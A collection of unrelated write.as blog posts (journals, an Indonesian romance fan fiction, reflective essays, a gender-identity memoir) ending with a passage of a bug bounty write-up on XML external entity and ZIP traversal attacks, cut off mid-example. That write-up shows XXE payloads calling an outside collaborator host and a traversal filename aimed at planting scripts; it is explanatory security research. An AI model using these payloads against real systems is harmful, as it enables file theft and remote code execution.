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Anonymous

I read – very little. I have almost completely stopped reading books. This saddens me. Books used to be such an integral part of my life. They were a means of escape from my corporeal life. Each book meant a dive into a new and exciting world. Now it represents time commitment. I start reading a book, then set it aside, leaving it to collect mounds of dust. Books have been replaced by blogs. I miss leafing through a dusty tomb. But there's something appealing about a blog. Each post is generally relatively short, and represents a much shorter time devotion. They're more easily worked into a busy schedule. In my recent reads on write.as, I've noticed a common sense of aloneness and isolation.

From Virxen's Brain & Soul: > Here I go again, dumping my brain and pouring my soul for someone and no one to see. This is some kind of a semi-private journal for me. It's private enough for me to be able to play and be creative, yet it's also public in some way, which gives me some hopefully healthy validation.

From inquiry: > But to what end? What's really being accomplished? Especially in the blogging case, i.e. minus evidence of specific others having read – let alone experienced the aforementioned hypothetical time-delayed mind synchronicity?

From Rye Meetings: > I don't believe I incite such a response, or at least I haven't yet. I know (mostly) at the end of the day I'm a decent person and if people don't interact with me it doesn't mean that I am an alien invader freakshow.

And those are just the most recent posts from the past few days.

To virxen, inquiry, Rye Meetings, and anyone else who feels like you're in your own blogging world, there is at least one person (yes, that's me) out there who reads you and enjoys you. You're not alone.

 
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Anonymous

Kangen.

.

.

Mungkin sudah terhitung sebulan jika mengingat kapan terakhir kali Chimon dan Pluem bertemu dan menghabiskan waktu bersama. Kesibukan akan kegiatan kampus selalu merebut Pluem dari Chimon, mungkin jika seminggu atau dua minggu Chimon masih bisa menahan rasa rindu, tapi sebulan ... rasanya tidak bisa.

Chimon kangen, banget.

Terkadang, Chimon merasa iri dengan teman-temannya. Apalagi ketika melihat Ohm dan Nanon, pasangan itu sangat lengket satu sama lain. Dan Ohm juga selalu siaga untuk Nanon. Mungkin mereka berdua terlihat sangat menyebalkan karena sering PDA dimanapun, tapi setidaknya mereka selalu bertatap muka.

Sial, Chimon merasa sangat menyedihkan. Dia ingin Pluem, ingin bertemu dan meluapkan perasaan rindu tertahannya.

Untungnya, semesta masih menyayangi Chimon. Saat selesai kelas tadi, Nanon memberitahu jika Pluem berada di rumah seharian, jadwalnya kosong, katanya.

Kesempatan tidak boleh disia-siakan, Chimon saat itu juga langsung pergi menuju kediaman keluarga Vihokratana demi melepas rindu dengan Pluem.

Sebenarnya, Chimon mau nebeng ke Nanon, tapi ternyata Nanonnya gak bawa kendaraan, kan ada Ohm katanya. Akhirnya minta nebeng ke Frank, tapi ditolak juga karena tebengannya hanya dikhususkan untuk Drake saja.

Chimon mendumel, dasar bucin.

Pada akhirnya Chimon minta nebeng ke First buat dianter ke rumah Pluem.

“Makasih banget loh udah nganter, emang ya lo mah nomor satu dari semuanya, First!” seru Chimon setelah sampai di tempat tujuan.

First mengangguk sembari tertawa kecil. “Yakin nih gue yang nomor satu bukan kak Pluem?”

“Hah, itu mah beda lagi elah.” Chimon mendengus. “Untuk urusan hati Pluem masih nomor satu!”

“Iya deh iya yang bucin.”

“Gue gak bucin???”

“Apaan?” Ekspresi First seketika berubah keruh. “Modelan gini gak bucin darimananya, coba?”

“Heh!”

“Udah lu masuk aja sana, terjang kak Pluem.”

“SIAPA JUGA YANG MAU TERJAN—”

“Loh, Chimon?”

Seketika lidah Chimon terasa kelu, dia melirik patah-patah ke belakang. “E-eh, kak Pluem,” sapanya sembari merubah gestur menjadi sedikit kalem.

Pluem hanya bisa tersenyum melihat tingkah Chimon yang berubah ketika melihatnya. “Hai Mon, ngapain ke sini?”

“Erng- itu—”

“Udah gue anter ke tempat ayangbebnya, gue pamit ya Mon! Jangan lupa pakai kondom!”

Melotot, Chimon berbalik bersiap melemparkan protesan pada First yang ternyata sudah melesat pergi dengan cepat. “A-ah itu eng, kak Pluem apa kabar?”

Akward, Chimon mengerang dalam hati. Tak lupa menyumpah serapahi First.

“Canggung amat,” ujar Pluem seraya tertawa kecil. “Masuk dulu, yuk.”

Chimon cuman bisa memberi anggukan sebagai respon. Dia tak banyak tingkah, mendadak menjadi pendiam dan nurut dengan Pluem.

“Mau ke kamar aku atau di sini aja, Mon?”

“Ha-hah? G-Gimana kakak aja sih aku mah, hehe.”

Mengerjap-ngerjap, Pluem menatap Chimon lekat dan cukup lama. Sampai akhirnya berakhir dengan tersenyum kecil, dan menepuk pucuk mahkota Chimon dengan lembut.

“Kamar aku aja, ya?”

“U-um!”

Terkekeh kecil, Pluem meraih lengan Chimon dan menariknya menuju kamar dengan lembut.

Sampai di kamar, duduk berdua diatas kasur dengan punggung yang bersender pada dinding.

“Jadi?”

“Apa?”

Pluem melirik samping, netranya bertabrakan dengan netra Chimon. Tersenyum simpul, kembali dia bertanya, “Kamu kesini tujuannya mau ngapain, sayaang?”

'ASDHJKL HAH SAYANG KATANYA? MANA LEMBUT BANGET ITU MANGGIL SAYANGNYA,' batin Chimon ambyar.

Chimon seketika berpaling dari Pluem saat itu juga, menghindari tatapan Pluem yang mungkin akan menyadari perubahan warna pada wajahnya.

“Hei, kok diem?” tanya Pluem lagi, ia tentu saja menyadari betapa malunya Chimon saat ini. Terkekeh kecil, Pluem menarik kepala Chimon untuk tertidur di pahanya. “Kamu kangen aku, ya?”

Awalnya Chimon tersentak kaget saat disuruh berbaring diatas paha Pluem. Dia jadi bisa melihat Pluem dengan jelas, begitupun Pluem padanya. Sembari menutup muka malu, Chimon mengerang kecil. “Kak Pluem ihhh!”

“Muka kamu jangan di tutup dong sayang,” ujar Pluem gemas, ia meraih tangan Chimon dan menjauhkannya dari wajah sang empu. “Kamu kangen aku, kan? Kalau iya, tatap dong akunya.”

“Maluuu!”

“Kenapa harus malu?”

“Gatau! Pokoknya malu!”

Pluem terkekeh kecil, dia akhirnya memeluk Chimon dengan gemas lalu menciumi seluruh wajah Chimon.

“Dua hari ini jadwal aku kosong, kamu nginep disini aja ya, Mon.”

Chimon mengangguk, dia lalu memposisikan bibirnya tepat di samping telinga Pluem, lalu berbisik lembut.

“Mon kangen, Mon sayang banget sama kak Pluem! Hehe.”

Senyum Pluem semakin mengembang, dia akhirnya ikut berbisik tepat disamping telinga Chimon.

“Pluem juga kangen dan cinta mati sama Mon kok.”

 
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from Dino’s Journal

11/25/2019 – Monday

It is the Monday before Thanksgiving and I fear that I've overspent my money buying stuff online. You only get the best discounts during this week though. – So if you only shop once a year, might as well be shopping on this week.

Played the old video game Rocksmith on my old gaming PC. The game actually still works! It was released like maybe 7-8 years ago? It's great that it still works. I still think it is one of the more fun ways to learn how to play the guitar.

Wireless backup camera for my car arrived late last night.


11/26/2019 – Tuesday

Cancelled Amazon Prime subscription. – We really only had it so we could watch Season 2 of Jack Ryan.

What do we tell ourselves all the time? That we're not happy because we don't have all the things that we should have or that we want to have. What follows from this is that life becomes a constant quest to get, to acquire, to attain possessions.

Do you remember the parable about the foolish rich man? When his barns were filled with all his possessions, he decided to tear them down and build bigger ones. Why is he a fool? Because you have everything you need right now to be happy.

What makes you happy is always right in front of you because what makes you happy is love. Love is willing the good of the other, opening yourself to the world around you. Love is not a feeling. It's an act of the will. It is the great act of dispossession. – Daily Gospel Reflection from Bishop Barron

I have everything I need right now to be happy. Also, love is not a feeling, it's an act of the will. That is the first time I've heard of “love” characterized as an “act of the will”, though now that I think about it, it does make sense.

Installed the wireless backup camera on my car last night. It truly is a wireless install. There are no wires running from the back of my car to the inside. There is no need to splice wires to power the backup camera as it is solar powered. The only drawback is that it added clutter to the interior of my car because I had to mount the camera monitor somewhere. At least it's not a permanent install though, so I can move it to a different car in the future if need be.

^ In case you are wondering what wireless backup camera I bought, it was this one. And before you buy the same one, know that I eventually returned it because water seeped through into the solar panels and so the camera stopped working.


11/27/2019 – Wednesday

Wifey wanted to buy me an early Christmas present, so I decided to upgrade my old Xbox One into an Xbox One X. – I am so lucky to have her as my wife. I love you Dearie!

We drove to our local Microsoft Store and got the discounted Xbox One X Gears 5 Bundle. It was only Wednesday night but their prices were already discounted. The store wasn't full which was awesome for us, but I can't help but think that people are making a mistake by waiting to buy stuff on Black Friday. – They could be buying stuff on this day, minus the chaos and the crowds.

Davin bought a huge Venom action figure from the Disney Store after my wife bought me my gift. – It seems like Davin picked up one of the traits that my wife has, a fascination for villain action figures. My wife has a Night King and Supreme Leader Snoke action figure in our bedroom.

Davin kept singing the “Hot Dog Dance!” song from Mickey Mouse Club House. He was not just humming (which is what he usually does), but he was really singing his heart out. – It was funny and cute at the same time to watch and hear him do this.


11/28/2019 – Thursday

Thanksgiving day today.

I finally opened and started using the Xbox One X. Doing so caused us to do some more de-cluttering. Wife decided to sell some of her books.

The paint job on the Gears 5 Xbox One X console is awesome! It's like a 2 layered paint job that gives it some depth from certain angles; it looks really good. The new console is heavier but smaller than the original Xbox One console. – I don't have any pictures of my own Gears 5 Xbox One X console, but this unboxing post has some good photos showing how nice the paint job is.

The graphics on Star Wars Jedi: Fallen Order is noticeably better on the Xbox One X, even if we don't have a 4K TV. Cal Kestis' hair in the game for instance is no longer blurry. It's like the game used low-res textures when playing on the older Xbox One console.

Played so much video games that I actually got tired of playing.


11/29/2019 – Friday

It was a foggy morning for my drive to work on Black Friday.

Was interrupted on my lunch break to help out on an issue. This is why I try to go out during lunch breaks.


11/30/2019 – Saturday

We pretty much stayed at home the whole day, but went for a family dinner at that Filipino restaurant near my office. I ordered Lomi for myself. It is a different take on what I'm used to eating as it had an egg, fish balls and crispy pork belly. It was very good though. Their Boneless Bangus (Milkfish) was also delicious.


12/01/2019 – Sunday

We did not wake up early enough to go to Mass once again. The problem is that we sleep really late on Saturday nights that we don't wake up early enough the next day. As the father/head of the family, it is my responsibility to bring my family to church on Sundays. I need to do better. We also need to stop sleeping late on Saturday nights.

It's not just the Mickey Mouse Club House “Hot Dog Dance!” song now, Davin has started singing other songs with lyrics. – It is like all of a sudden he now knows how to sing a song with lyrics, when before he would just hum along.

Tags: #JournalEntry #BishopBarron

 
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from inquiry

Quick Aside

Writing has felt boring again, of late. Seems the thrill – if and when any – is mostly of a hope-driven, pseudo variety.. imaginations of it accomplishing something.

But what could it, really?

Sure, I know, in the extreme case there could be financial reward, attention, even fame.

But short of that – at might be referred to as “my non-pay-grade” – what's the goal, here?

That something kinda sorta maybe happening in “my” mind happens kinda sorta maybe similar in another's?

But to what end? What's really being accomplished? Especially in the blogging case, i.e. minus evidence of specific others having read – let alone experienced the aforementioned hypothetical time-delayed mind synchronicity?

Have I been writing on the nearly non-existently-wispy fumes of imagining that happen?

(Speaking of fumes... what is said “I”?)

The Non-Vegan of the Matter

So I laid awake in bed for the longest time after we turned the lights out, literally realizing the non-duality of I/not-I (i.e. there being no sense/notion of I/not-I, but rather <can't be said>).

I mean for hours as my partner fell asleep, and went into some major foghorn snoring.

But eventually the snoring seemed something apart from me, and furthermore affecting me, and not in positive ways.

That eventually fanned the flames of its delusional self into significant hysteria, to the point of relationship madness.

There's something old-school-master-brutal about passing from non-duality awareness to utter conviction of the duality that begins with I/not-I.

 
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from Du dé au clavier

#jdr #zine

Je me lance dans une chouette aventure: créer et diffuser mon propre “mini-magazine” ou pour faire court: un zine. La parution sera irrégulière. Les sujets vont probablement changer au fil des numéros. Il n'y a pas de ligne éditoriale autre que partager mes univers et mes idées.

Le premier numéro de Dédale, Le Tombeau de Tordak, est un donjon joué lors de la première séance de ma campagne Donjons et Dragons. Je pense partager peu à peu les différents lieux que traversent mes PJ dans le monde des Terres Émergées. Le numéro 2 sera également un donjon. Je vais les partager tels qu'ils ont été joué, sans modifications a posteriori. Donc ça commence très basique et ça devrait se complexifier peu à peu logiquement. Ce n'est pas tant le design des lieux que le contexte que j'ai envie de vous partager, afin de vous faire rentrer dans mon monde.

J'ai des projets de traduction également, mais ça va me demander plus de temps. J'ai notamment à l'esprit un truc plutôt ambitieux , il faut que j'en étudie la faisabilité.

Ce zine va me permettre de m'essayer à la maquette, ce que je n'ai jamais fait. Mais j'ai un bon outil (Affinity Publisher) et des tutos youtube donc ça devrait le faire.

N'hésitez pas à jeter un oeil à Dédale et à me faire vos retours.

 
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from the willow tree

Blackthorn MUD

I've been working on a game for a while. text based. RPG. multiplayer only ...it's a MUD.

I'm trying to modernize the concept of muds, actually. It's still a long way to go, but I'm decently happy with the current iteration of the UI. It might still need some more refinement, but I think I've got the basics done:

As for the game itself. It is a gothic-setting roguelike-esque mud with a “2-D” navigation as you can see in the picture. the idea is to concentrate the game on the fun (interaction with players and monsters), and leave exploration and confusion to a minimum.

The game is pretty simple from a gameplay perspective – attack something, and you have a chance to kill or be killed. There are no complicated preparations or setups, just straight up hit something and live with the consequences.

But even if the game is simple on the surface, and great for a quick run of fun when you have five minutes to spare; the real depth comes down to number crunching. There is a heavy emphasis on theorycrafting builds in order to master the game. Someone who wants to be good at it can do so by working the numbers and mechanics rather than rely on RNG.

I will talk about this more when there is more progress on the inherent mechanics. Right now I'm playing with the idea of certain passive abilities on items that may or may not make it into the game. I want to keep it simple and fun for that universal appeal, but also challenging for the players who wish to go deep into the system itself.

If you're curious about the game, you can contact me over at my mastodon.

 
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from The White Magician

Questioning

The Seven Fundamentals to All Questionings

The Seven Fundamental to All Questionings. As discussed in the Foundations of Gnostic Education, there are two types of schools: the Gnostic School and the Intellectual School. Now, we are going to teach you not what to question, yet how to question. It is a stepping stone in the gnostic education in how to think, not what to think.

Please see also:

https://write.as/thewhitemagician/the-foundation-of-gnostic-education

As mentioned with the intellectual schools, the intellectual school is subservience, control, and conformity. These fatal schools teach you what to think, not how to think. They also teach you what to question, not how to question. How to question is the revolutionary turning point against the intellectual school when one knows how to question. How to question challenges and threatens the very foundation of the intellectual school, which itself is a universal deceit and has no solid foundation. The How of question is the path of questioning.

Behold, the seven fundamentals to how you question everything, for they are all basic sentence parts:

I) The Who

II) The What

III) The When

IV) The Where

V) The Why

VI) The How

VII) The Which

The Who is a person, animal, or a thing. The Who can also be a description of the What. The What is the description of the person, animal, or a thing. The Who can also be a name. Be careful with a What.

A what with a verb can be either do (or does) what, will what, or did what. Do what is the present action of a person, animal, or a thing. Will what is the future action of a person, animal, or a thing. Did what is the past action of a person, animal, or a thing.

The when is the time of which an action happens by a person, animal, or a thing. The When is the past, present, and future as half of the whole setting. The When is time and date itself. The When can function anytime. The When is domicile with do what, will what, and did what.

The Where is the location of a person, animal, or a thing. The Where can literally be anywhere. It is half the whole setting in which the action of a person, animal, or a thing takes place of in regards of location. Be mindful of the why and the how.

The Why is the reason, or purpose, in which an action happens by a person, animal, or a thing. The Why is also a Because. The be-cause is also a cause. Both because and why is pronounced por-que (because) or por-qué (why or for what purpose [or for what]). The Cause is the reasoning. The why is the reasoning question.

The How is the way, or path, in which an action happens by a person, animal, or a thing. The How itself is the path. The way is the path to your true answer. The path can be “by anything” or described by an adverb in which the action is taken.

The Which is What One? Which is which? What one is one? What puzzle fits with the neighboring puzzle? The Which is a puzzle piece in which it leads to the source of a resolved answer.

These are the seven major fundamentals in questioning, or the seven major sentence parts. There are also minor fundamentals, all of them can be answered directly or indirectly with a yes or no. There are conditional questions as could or would. A should is a must question. Did, do, does, and will do followed by an action, or a verb, are not conditional nor a must questions. An exception to this is “how much”, for how much is the measurement of the amount acted by a person, animal, or a thing.

 
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from inquiry

> Rather than relying on thousands of engineers to > individually remember all the quirks of web application > security, it is a lot more efficient to focus on a > battle-tested set of frameworks and APIs and reduce the > need to constantly tweak these settings.

I found my joy increasing as I increasingly shunned happy horseshit file formats, and – especially – the deranged psychopathic adherents thereof.

> white men,

Still seeing people primarily in terms of, first, skin color.. and, then, gender?

Huh. And here I thought we were living in more woken, non-profiling times....

<shakes head whilst rolling eyes>

 
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from ego echo

Heb je ooit gehoord van Nancy Tuesday and the Free Raisins? Nee hè, dacht ik wel. Op zich niet heel vreemd hoor. Het is (of was, ik weet het eigenlijk niet) een muziekproject dat is ontstaan omdat twee vriendinnen en ik elkaar nogal vaak op dinsdag zagen. We spraken dan af bij de Coffee Company in Rotterdam. Toen nog een plek waar je wilde zijn, het had iets alternatiefs, iets hips zonder hipster te zijn. Zoiets. Lang geleden dus. Zeker tien tot twaalf jaar, maar ik denk zelfs langer geleden. We dronken er koffie (je verwacht het niet) en praatten wat, deden ons beklag en deelden onze verwonderingen over het leven in het groot en in het klein. We wandelden ook vaak gewoon wat door de stad, gingen af en toe een winkel in, lummelden rond en dan op een gegeven moment was het zo weer dinsdag.

Toen we na het eten bij een vriendin van een vriendin zaten te wachten tot diegene klaar was om met ons mee te gaan naar een feest, pakte een van ons een gitaar, ik trommelde wat op mijn benen en de ander begon de tekst te zingen die ze net een paar dagen eerder had geschreven terwijl ze over het strand liep. Deze spontane jamsessie noemden we heel verrassend 'Sand'. Ik herinner mij nu ook dat we zelfs een Myspace-profiel hebben gemaakt en het erop hebben gezet. De verwijzing naar de video is er nog wel, maar beeld en geluid zijn verwijderd door Myspace; te lang geleden. (Maar oh, hoe leuk was die tijd met de onschuld die sociale media nog in zich droeg, de wereld veranderde als een gek en overal gingen deuren open. Helaas staan die deuren nu nog wagenwijd open en is er niemand meer thuis. Het tocht, de wind heeft er vrij spel, het is er stoffig en vochtig met hier en daar nog de echo van wat lijkt op een verloren ziel – zoals mijn goede vriend jd meatyard al zong: “we are all mypsace-stars”.)

Voor ik nog verder afdwaal en afdaal in die duistere krochten van het prille internettijdperk: dit is dus waar ik vandaag ineens aan dacht. Gewoon omdat het dinsdag is. Geen dinsdag zoals toen, maar wel met een vleugje van dat kant noch wal-gevoel. Een vreemde tijd die ik koester en tegelijk ook niet meer terug zou willen. Ik doolde wat rond, probeerde mijn leven, het leven, te ordenen. Iets wat natuurlijk schier onmogelijk is. Dat weet ik nu en waarschijnlijk wist ik dat toen ook, wat mijn ronddolen, hoe onverklaarbaar ook, verklaart.

Nancy Tuesday dus. En The Free Raisins. We waren Nancy op dinsdag. Met gratis rozijntjes. Een treffende samenvatting van een lieve, mistige en maffe periode.

#nancy #muziek #rotterdam #waanvandedag #coffeecompany #myspace

 
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from Rebel Dharma Society

Locks

The cold wind that carved a icy blade through the sweater did nothing to ease the already morose winter's day. It was a grey sky hovering above that claimed I was just wasting my time being there and yearning. Yearning for the ache in the soul to ease and stop as the vacuum smashed into the empty space left by her rejection. Her abandonment. Her invective.

Locks placed by lovers on the fence and standing mute testimony overlooking the sea and the harbour clanked faintly in the wind as it tried to shift them. A metallic protest adding its voice to the condemnation of hope and light. Love locks, they called them. Each one representative of a prisoner and slave to that love and affection that they may have. A cold, hard reminder of the very thing that I had lost.

Like a million Uighar in so-called “vocational re-education centres” in China, these locks represented something vile. Yet, at least I had had the freedom that had been mine in a time passed.

I sat on the bench, cold and wet from the previous night's rain, not caring about the cold on my butt or the potential piles that I would proverbially suffer. As I watched the locks, stared at them and considered them in their colour and vibrant hope of something better, they coalesced into a meaning far greater than themselves for me.

Love, the wrong kind of destructive love, is as much a prison as any other that we created for ourselves and for others. The prison of our expectations on those who are close to us and the literal prisons of those who dared stand up against the Xi Jinpings, Putin's and Besos's of this world all found symbolic being in the metal offerings before me.

I was and am my own prison. Both prison and warder and the keeper of my own key to my own freedom from the burden of that which clinked and clanked to the sea. The wild and wintery sea.

Photo Credit: Image by M W from Pixabay

 
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from anxiety: a public memoir

the fact that I still don't know what it means to be genderqueer, What Is It Like to Be Non-Binary? I’m Still Finding Out., Help! I Think I Might Be Non-Binary, But How Can I Know?, How to Know If You’re Non-Binary, transgender teen survival guide non-binary flowchart,

nonbinary flow chart

the fact that masculinity feels really limiting, the fact that I feel limited in what I can be as a man, the fact that I still feel like a man sometimes, the fact that I don't want to abdicate myself of the responsibility of attending to male privilege or toxic masculinity, the fact that I do feel concern around my safety sometimes, the fact that whether or not that concern is based on real danger i do not know, the fact that I do feel discomfort around family, hometown, and old friends, they/them, the fact that sometimes i don't feel seen or understood, the fact that people have yelled slurs at me, the fact that some things that may seem like a choice don’t feel like a choice because they're a genuine expression of me, style, art, fashion, hair, earrings, dresses, skirts, the fact that gender queerness to me is far more than outward portrayals like fashion, the fact that gender queerness has helped me understand my experience of the limitations and problems of masculinity, the fact that genderqueerness feels like a genuine expression of my felt distance from masculiniy, the fact that i don’t mean to abdicate myself from the responsiblity of attending to masucline privilege, the fact that I am not exploring genderquerness to escape the vilification of my masculinity but rather to be seen and exist outside of it, the fact that i live outside of it, the fact that my experience exists outside of it, the fact that i want to be held accountable while also perceived outside the confines of expected masculine behavior, the fact that this article titled How To Make Your Marriage Gayer really made me feel validated in my genderqueerness because i identify with many of the roles and characteristics attributed to gay men and women, self fulfilling prophecy, I am who I am perceived to be, social psych, highly variable personality, Buddhist non-self, the fact that i've felt really uncomfortable in my body, the fact that sometimes during sex i feel like my body is being used, the fact that i often feel pressured into sex, the fact that i feel like my body is controlled and surveilled, sometimes by partners, the fact that im not sure how this feeling interacts with narratives around problematic cis men pursuing polyamory, the fact that (insert name) said that my awareness of these issues suggests im not the problematic trope, the fact that it matters the gender of who said that, she/her, the fact that this certainly doesnt mean i don't exhibit problematic masculine behaviors or thoughts, queer lite, internalized queer gatekeeping, the fact that i feel gender dysphoria but i dont want to transition to anything else, the fact that both he/him and they/them pronouns make me feel uncomfortable, the fact that misgendering feels binary (they/them OR he/him) and too blamey (for me, i recognize my experience isn’t everyone’s) and conveys a false certainty, the fact that i definitely don’t identify as a woman, the fact that they/them feels more right and felt great for awhile but now it feels like i have to justify or prove my queerness, projection, the fact that every expression of masculinity feels like it invalidates my experiences of genderqueerness, the fact that many close friends and loved ones in my life validate my gender, the fact that they say i don’t feel like a man, the fact that many expressions of masculinity in the bay area fall firmly outside the boundaries of male-identification in tampa where i’ve spent most of my life, the fact that its difficult to reconcile my experience in the bay area with my experience growing up in florida, paradox of queerness, the fact that whatever i want to do is not questioned and comfortable but i feel like i have to be more queer in order to be queer in the bay, queer lite, the fact that for me physical embodiment feels masculine, the fact that my sexuality feels more clear than my gender because gender feels quite contingent upon external validation, perception, reaction, judgment, the fact that i dont feel body dysphoria but i definitely dont feel body euphoria when it comes to my genitalia, the fact that mostly i feel genital ambivalence, the fact that i feel a lack of ownership over what my body is, circumcision, the fact that i didnt choose my birth sex, the fact that i feel a lack of ownership over how my body is perceived, over what it means, “I'm a citizen of the universe”: Gloria Anzaldúa's Spiritual Activism as Catalyst for Social Change, “big max energy,” naked and afraid, ripped and afraid, toxic masculinity, appropriation, 'You Don't Own Me,' A Feminist Anthem With Civil Rights Roots, Is All About Empathy,

You don't own me I'm not just one of your many toys You don't own me Don't say I can't go with other boys And don't tell me what to do Don't tell me what to say And please, when I go out with you Don't put me on display 'cause You don't own me Don't try to change me in any way You don't own me Don't tie me down 'cause I'd never stay I don't tell you what to say I don't tell you what to do So just let me be myself That's all I ask of you I'm young and I love to be young I'm free and I love to be free To live my life the way I want To say and do whatever I please ♫,

Men, emotional sensitivity, taking up space, emotional labor, communication, self-awareness, growth, mutual gaslighting, white femme victim narratives,

bad leftist male behavior bingo

The Ethical Slut, How a hackneyed romantic ideal is used to stigmatise polyamory, TRIGGER WARNING The Self-crucifixion of the Persecuted Polyamorist, Chastity Belt – Seattle Party

If you dance if you dance No girl will give you a chance You're a cool guy ♫,

What's the Difference Between Non-Binary, Genderqueer, and Gender-Nonconforming?, Beyond Androgyny: Nonbinary Teenage Fashion, 100 Ways to Make the World Better for Non-Binary People, The Gender Spectrum Collection: Stock Photos Beyond the Binary, Heterosexuality and its discontents, Heterosexuality Without Women,

 
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from anxiety: a public memoir

the fact that I'm from Florida, feminist killjoys, The Beach Bum, the fact that I don't really identify with moondog at all, the fact that i'm pretty neurotic and definitely not a stoner or a beach bum, ♫ i don't even smoke weed / it gives me anxiety ♫, privilege, escape, the privilege to escape, the privilege to goof off, boats, wake, those left in the wake, damage, consequences, Wolf of Wallstreet, Pleasure Activism

Reporter: You’ve had an interesting life. How did you pull it off? How did you do it?

Moondog: How did I pull it off? How did I do it? [laughs] I mean, look, I could tell you that I've been trying to uncover the abyss beneath my illusory connection with the world. I could tell you that it's all written in the stars. I could tell you that I'm a reverse paranoiac. I am quite certain that the world is conspiring to make me happy. All three of which are true but it's really simpler than that. I like to have fun, man. Fun is the fucking gun, man. That is why I like boats. I like water. I like sunshine. I like beautiful women. A lot. I get all these things going, man, and they are all turning me on. And my wires are connecting upstairs and I start to hear music in my head. You know, and the world is reverberating back and forth and I hit the frequency and I start to dance to it. My fingers get moving, my head gets soupy, I'm spinning all over the fucking place, and the fucking words come out. It is like it's a fucking gift.

Reporter: What makes you, Moondog, different than all these other people?

Moondog: Seriously? You mean the ones up north on the mainland, the ones racing to the red line, the ones stuck in their ways, a little bit too busy to check in and say, howdy-howdy-doo? That shit's not for me, man. I mean, fuck, man, so many people trip themselves when they're running downhill. Life's hard enough. Why would you fucking want to do that? I mean, it's like, we're here to have a good time. I just want to have a good time until this shit's over, man. This life gig's a fucking rodeo, and I'm gonna suck the nectar out of it. Fuck it raw dog until the wheels come off,

the fact that in the poem “September 1st, 1939” W.H. Auden wrote

Faces along the bar Cling to their average day: The lights must never go out, The music must always play . . . Lest we should see where we are, Lost in a haunted wood, Children afraid of the night Who have never been happy or good.

white men, the objectification of women, the fact that the ending of The Beach Bum, gives me so much physical anxiety that it almost ruins the movie for me, the fact that this is what Kurt Vonnegut said in an interview about telling his wife he's going out to buy an envelope:

Oh, she says well, you're not a poor man. You know, why don't you go online and buy a hundred envelopes and put them in the closet? And so I pretend not to hear her. And go out to get an envelope because I'm going to have a hell of a good time in the process of buying one envelope. I meet a lot of people. And, see some great looking babes. And a fire engine goes by. And I give them the thumbs up. And, and ask a woman what kind of dog that is. And, and I don't know. The moral of the story is, is we're here on Earth to fart around. And, of course, the computers will do us out of that. And, what the computer people don't realize, or they don't care, is we're dancing animals. You know, we love to move around. And, we're not supposed to dance at all anymore,

the fact that I'm not sure when I started to believe, to really internalize, that i'm not really someone unless i “make something” of my life, prestige vs. privilege, status vs. comfort and stability, opportunity and abundance vs. scarcity and inadequacy, the fact that i must be wary of elevating affect to the level of social cause,

Lewis: I’ve had a lot in my life. But I always had this feeling like when I left, no one going to remember me. But knowing you, being a part of what you did, maybe that means something now. I want to thank you,

 
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from spaceraccoon.dev

XML and ZIP – A Tale as Old As Time

While researching a bug bounty target, I came across a web application that processed a custom file type. Let's call it .xyz. A quick Google search revealed that the .xyz file type is actually just a ZIP file that contains an XML file and additional media assets. The XML file functions as a manifest to describe the contents of the package.

This is an extremely common way of packaging custom file types. For example, if you try to unzip a Microsoft Word file with unzip Document.docx, you would get:

Archive:  Document.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/theme/theme1.xml   
  inflating: word/settings.xml       
  inflating: docProps/core.xml       
  inflating: word/fontTable.xml      
  inflating: word/webSettings.xml    
  inflating: word/styles.xml         
  inflating: docProps/app.xml        

Another well-known example of this pattern is the .apk Android app file, which is essentially a ZIP file that contains an AndroidManifest.xml manifest file and other assets.

However, if handled naively, this packaging pattern creates additional security issues. These “vulnerabilities” are actually features built into the XML and ZIP formats. Responsibility falls onto XML and ZIP parsers to handle these features safely. Unfortunately, this rarely happens, especially when developers simply use the default settings.

Here's a quick overview of these “vulnerable features.”

XML External Entities

The XML file format supports external entities, which allow an XML file to pull data from other sources, such as local or remote files. In some cases this can be useful because it makes importing data from various sources more convenient. However, in cases where an XML parser accepts user-defined inputs, a malicious user can pull data from sensitive local files or internal network hosts.

As the OWASP Foundation wiki states:

This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser... Java applications using XML libraries are particularly vulnerable to XXE because the default settings for most Java XML parsers is to have XXE enabled. To use these parsers safely, you have to explicitly disable XXE in the parser you use.

Just like in my previous Remote Code Execution writeup, developers are put at risk by vulnerable defaults.

ZIP Directory Traversal

Although ZIP directory traversal has been exploited since the format's inception, this attack vector gained prominence in 2018 due to Snyk's clumsily-named “Zip Slip” research/marketing campaign that found the vulnerability in many popular ZIP parser libraries.

An attacker can exploit this vulnerability with a ZIP file that contains directory traversal filenames such as ../../../../evil1/evil2/evil.sh. When a vulnerable ZIP library tries to unzip this file, rather than unzipping evil.sh to a temporary directory, it unzips it to another location in the filesystem defined by the attacker (in this case, /evil1/evil2). This can easily lead to remote code execution if an attacker overwrites a cron job script or creates a web shell in the web root directory.

Similar to XXEs, ZIP directory traversal is especially common in Java:

The vulnerability has been found in multiple ecosystems, including JavaScript, Ruby, .NET and Go, but is especially prevalent in Java, where there is no central library offering high level processing of archive (e.g. zip) files. The lack of such a library led to vulnerable code snippets being hand-crafted and shared among developer communities such as StackOverflow.

Discovering the XXE

Now that we have the theoretical foundations of the attack, let's move on to the actual vulnerability in practice. The application accepted uploads of the custom file type, unzipped them, parsed the XML manifest file, and returned a confirmation page with the manifest details. For example, if mypackage.xyz was a ZIP file containing the following manifest.xml:

<?xml version="1.0"?>
<packageinfo>
    <title>My Awesome Package</title>
    <author>John Doe</author>
    <documentation>https://google.com</documentation>
    <rating>4.2</rating>
</packageinfo>

I would get the following confirmation screen:

Package Info 1

The first thing I did was test for XSS. One tip about injecting XSS via XML is that XML doesn't support raw <htmltags> because this gets interpreted as an XML node, so you have to escape them in the XML like &lt;htmltags&gt;. Unfortunately, the output was sanitized properly.

The next move was to test for XXEs. Here, I made a mistake and began by testing for a remote external entity:

<?xml version="1.0"?>
<!DOCTYPE title [<!ENTITY xxe SYSTEM 'https://mycollab.burpcollaborator.net'>]>
<packageinfo>
    <title>My Awesome Package&xxe;</title>
    <author>John Doe</author>
    <documentation>https://google.com</documentation>
    <rating>4.2</rating>
</packageinfo>

I didn't get a pingback on my Burp Collaborator instance and immediately assumed XXEs were blocked. This is a mistake because you should always test incrementally, starting with non-system external entities, working your way up to local files, and then remote files. This helps you eliminate various possibilities along the way. After all, a standard firewall rule would block outgoing web connections, causing a remote external entity to fail. However, this does not necessarily mean local external entities are blocked.

Fortunately, I decided to try again later with a local external entity:

<?xml version="1.0"?>
